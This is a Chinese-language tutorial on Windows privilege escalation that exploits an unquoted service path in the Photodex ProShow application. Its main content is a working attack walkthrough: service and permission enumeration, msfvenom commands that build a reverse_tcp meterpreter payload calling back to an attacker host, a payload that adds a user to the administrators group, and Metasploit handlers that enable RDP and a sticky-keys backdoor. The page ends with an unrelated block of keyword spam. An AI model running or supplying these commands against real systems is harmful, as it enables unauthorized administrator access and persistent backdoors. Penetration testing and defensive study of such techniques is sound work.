千家信息网

Windows平台下如何实现提权

发表于:2024-11-17 作者:千家信息网编辑
千家信息网最后更新 2024年11月17日,这篇文章给大家分享的是有关Windows平台下如何实现提权的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。无引号服务路径漏洞这个漏洞跟可执行文件的路径有关,如果文件名中存在空
千家信息网最后更新 2024年11月17日Windows平台下如何实现提权

这篇文章给大家分享的是有关Windows平台下如何实现提权的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。

无引号服务路径漏洞

这个漏洞跟可执行文件的路径有关,如果文件名中存在空格,或者文件路径没有包裹在双引号之中,那攻击者就可以用恶意exe文件替换掉原本合法的exe文件,并实现提权。

环境搭建

目标主机:Windows 7

攻击主机:Kali Linux

首先,我们需要在目标Windows系统中下载并安装一个名叫photodex proshow的包含漏洞的应用程序,下载镜像可以在Exploit DB上找到。

生成目标主机

为了拿到meterpreter会话,我们至少要成功入侵目标Windows设备一次,你可以从下图中看到,我们已经拿到了目标主机的meterpreter会话了。现在,打开命令Shell:

shell

你可以看到,我们拿到的shell访问权是本地用户local_user,为了拿到cmd的管理员权限,我们就需要提权。首先,我们可以枚举出目标主机上正在运行的所有服务,并找出那些没有被双引号包裹的服务路径,这一步可以用下列命令实现:

wmic service get name,displayname,pathname,startmode |findstr /i "auto"|findstr /i /v "c:\windows\\" |findstr /i /v """

这里,我们枚举出了下列路径:

C:\ProgramFiles\Photodex\ProShow Producer\Scsiaccess.exe

这个路径没有被双引号包裹,而且文件名中也存在空格。

现在,我们需要使用下列命令识别文件目录权限:

icacls Scsiaccess.exe

你可以看到,它给任何人都提供了写入权限,这也就意味着任何用户都可以重写该文件:

通过进程迁移实现提权

现在,我们只需要把恶意exe放在同一文件夹内,它就自动拥有管理员权限了,当服务重启之后,Windows将启动这个恶意exe。

在Kali Linux中打开终端,然后通过下列命令使用msfvenom生成恶意exe Payload:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234prependmigrate=true prepenmigrateprocess=explorer.exe -f exe >/root/Desktop/scsiaccess.exe

上面的命令将在桌面生成一个恶意exe文件,然后将该文件发送给目标主机。Payload会尝试迁移恶意进程,如果用户通过进程ID终止了当前进程的运行,攻击者也不会丢失会话和Payload的控制权。

现在,用恶意exe替换掉合法的可执行文件,这里我把合法Scsiaccess.exe重命名为了Scsiaccess.exe.orginal,并将恶意Scsiaccess.exe上传到了同一文件夹内,然后重启目标主机:

movescsiaccess.exe scsiaccess.exe.orginalupload/root/Desktop/ scsiaccess.exe

reboot:

与此同时,我在新的终端里开启了多个handler监听器来捕捉meterpreter会话:

use exploit/multi/handlermsf exploit(multi/handler) set payload windows /meterpreter/reverse_tcpmsf exploit(multi/handler) set lhost 192.168.1.107msf exploit(multi/handler) set lport 1234msf exploit(multi/handler) exploit

一段时间之后,我们就能够拿到拥有管理员权限的shell了:

通过添加管理员组用户来实现提权

使用local_user权限生成了shell之后,我们就可以在没有管理员权限的情况下枚举完整的用户名列表了。这里我们发现,用户raaz不是管理员组的成员:

net usernet user raaz

同样的,我们生成了一个exe文件,并用它来将用户raaz添加到了管理员组中,我们生成的恶意exe文件名还是叫Scsiaccess.exe:

msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f exe >/root/Desktop/scsiaccess.exe

重复上述步骤,用恶意exe文件替换掉同一目录下的合法exe,然后重启目标主机:

仔细看下面的截图,你就会发现用户raaz已经成为了管理员组成员了:

通过RDP&Sticky_key实现提权

使用msfvenom生成一个相同文件名(Scsiaccess.exe)的exe文件,然后将其发送至目标主机,同时利用自动运行脚本开启多个监听器,这样将会启用RDP服务:

use exploit/multi/handlermsf exploit(multi/handler) set payload windows /meterpreter/reverse_tcpmsf exploit(multi/handler) set lhost 192.168.1.107msf exploit(multi/handler) set lport 1234msf exploit(multi/handler) set AutoRunScript post/windows/manage/enable_rdpmsf exploit(multi/handler) exploit

类似的,当目标服务重启之后,我们可以设置自动运行脚本来启用sticky_keys:

msf exploit(multi/handler) set AutoRunScript post/windows/manage/sticky_keysmsf exploit(multi/handler) run

你可以从下图中看到,命令开启了另一个meterpreter会话(session 3),这个会话拥有管理员权限,现在我们就可以通过RDP与目标主机建立连接了:

rdp 192.168.1.101

接下来,连续按下5次shift键,你将会拿到拥有管理员权限的命令行窗口:

感谢各位的阅读!关于"Windows平台下如何实现提权"这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,让大家可以学到更多知识,如果觉得文章不错,可以把它分享出去让更多的人看到吧!

文件 目标 主机 恶意 管理员 管理 权限 用户 命令 生成 路径 服务 合法 引号 文件名 进程 运行 包裹 漏洞 攻击 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 上海会邻网络技术有限公司 服务器有哪些好看的装饰 太原市网络安全宣讲 xp开机后显示数据库 几NF是数据库规范要求 头条号网络安全加关注 vb连接sql数据库代码 任子行网络安全审计系统刷机 一个软件开发的支付系统 建设网络安全精英 软件开发电子设备购销合同 服务器硬件维护工程师培训多少钱 整机柜天蝎服务器 山东艺术学院高考数据库 数据库汇总个数 安卓系统中内嵌的数据库系统是 智能终端软件开发课题 网络安全工程师需要条件 交警软件开发 李沧区苹果软件开发哪家便宜 企业网络安全防护解决方案 中国网络安全与信息化的发展 网络技术辅助教学 一念逍遥怎么选择服务器 安徽专业软件开发过程服务标准 力控数据库自己停止怎么回事 简单学生宿舍数据库设计 五华区服务器上门回收价格 苹果自家数据库 软件实施中数据库的安装
0